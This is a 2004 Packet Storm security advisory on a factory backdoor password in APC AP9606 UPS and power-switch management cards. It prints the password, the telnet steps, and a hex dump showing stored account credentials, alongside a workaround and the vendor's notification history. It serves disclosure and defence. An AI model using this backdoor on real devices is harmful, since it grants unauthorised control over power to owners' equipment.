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apc_9606_backdoor.txt

🗓️ 16 Feb 2004 00:00:00Reported by Dave TarbattType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 33 Views

APC management cards contain a backdoor password allowing unauthorized access to accounts.

Code
`  
*** Background:  
APC (American Power Conversion) SmartSwitch and UPS (uninterruptible power  
supply) products have a Web and SNMP management card installed that permits  
local serial console, TELNET, web and SNMP management, monitoring and  
mains power control of attached devices.  
  
  
*** The Problem:  
APC SmartSlot Web/SNMP management cards have a "backdoor" password that can  
be abused to extract plain text username/password details for all accounts  
and hence gain unauthorised full control of the device.  
  
Tested vulnerable:  
SmartUPS 3000RM with AP9606 AOS v3.2.1 and SmartUPS App v3.2.6  
MasterSwitch AP9212 with AP9606 AOS v3.0.3 and MasterSwitch App v2.2.0  
  
  
*** Description:  
The "backdoor" password is designed for use by the factory for initial  
configuration of the card, e.g. MAC Address, Serial Number etc. However, it  
is possible to dump the contents of EEPROM which amongst other things  
stores the account usernames and passwords.  
  
The "backdoor" password is accepted via either the local serial port or  
TELNET. Use of the password on the web interface does not appear to be  
possible.  
  
  
*** To recreate (typical example):  
Connect a console to the serial port or TELNET to the card. At the username  
prompt use any username. The password is all alphabetic characters and is  
case sensitive: TENmanUFactOryPOWER  
  
At the selection prompt, type 13 and press return. Type the byte address of  
the EEPROM location to view, e.g. 1d0 and press return. Look carefully for  
the username and password pairs. Different firmware revisions may have the  
account details at different EEPROM locations. The accounts in the example  
below are the default accounts after their passwords have been changed.  
Username: apc Password: BBCCDDEEF  
Username: device Password: AAAABBBBB  
  
Press return to get back to the Factory Menu and press ctrl-A to logout.  
You can now TELNET to the card again and use the account details you've  
just recovered to log into and control the device.  
  
You should use the other selections with extreme care. You may cause  
irrepairable damage and will most certainly invalidate any warranty.  
The EEPROM also contains other user-configurable options in either plain  
text or binary encoded form. They are not detailed in this advisory.  
  
Example:  
  
[root@always root]# telnet 192.168.1.1  
Trying 192.168.1.1...  
Connected to 192.168.1.1.  
Escape character is '^]'.  
  
User Name : phade  
Password : TENmanUFactOryPOWER  
  
Factory Menu  
<CTRL-A> to exit  
  
1AP9606  
2WA0044004472  
3G9  
410/25/2000  
500 C0 B7 A2 C8 2D  
6v3.2.1  
7A  
8A  
9192.168.1.1  
A255.255.255.0  
B192.168.1.254  
C  
D  
E  
F  
G  
  
Selection> 13  
  
Enter byte address in Hex(XXXX): 1d0  
  
01D0 FF 50 46 61 70 63 00 FF .PFapc..  
01D8 FF FF FF FF FF FF 42 42 ......BB  
01E0 43 43 44 44 45 45 46 00 CCDDEEF.  
01E8 FF 64 65 76 69 63 65 00 .device.  
01F0 FF FF FF FF 41 41 41 41 ....AAAA  
01F8 42 42 42 42 42 00 FF 61 BBBBB..a  
0200 64 6D 69 6E 20 75 73 65 dmin use  
0208 72 20 70 68 72 61 73 65 r phrase  
0210 00 FF FF FF FF FF FF FF ........  
0218 FF FF FF FF FF FF FF FF ........  
0220 64 65 76 69 63 65 20 75 device u  
0228 73 65 72 20 70 68 72 61 ser phra  
0230 73 65 00 FF FF FF FF FF se......  
0238 FF FF FF FF FF FF FF FF ........  
0240 FF 00 00 FF FF FF FF 21 .......!  
0248 56 00 00 00 00 00 00 55 V......U  
  
<sp>nxt,b-bck,p-pch,other-exit  
  
  
*** Workaround/fix:   
Ensure that access to the local serial port is physically restricted and  
disable the TELNET interface as described in the device documentation. A  
patched version of the firmware which requires the management password  
to be entered before accessing the factory settings may be available  
from APC.  
  
  
*** Vendor status:  
APC were first notified six months ago on 12th August 2003 and were  
initially helpful in patching the problem. However, after testing a couple  
of beta fixes I've heard nothing for over 3 months.  
  
Dave Tarbatt,  
http://null.sniffing.net/  
  
`

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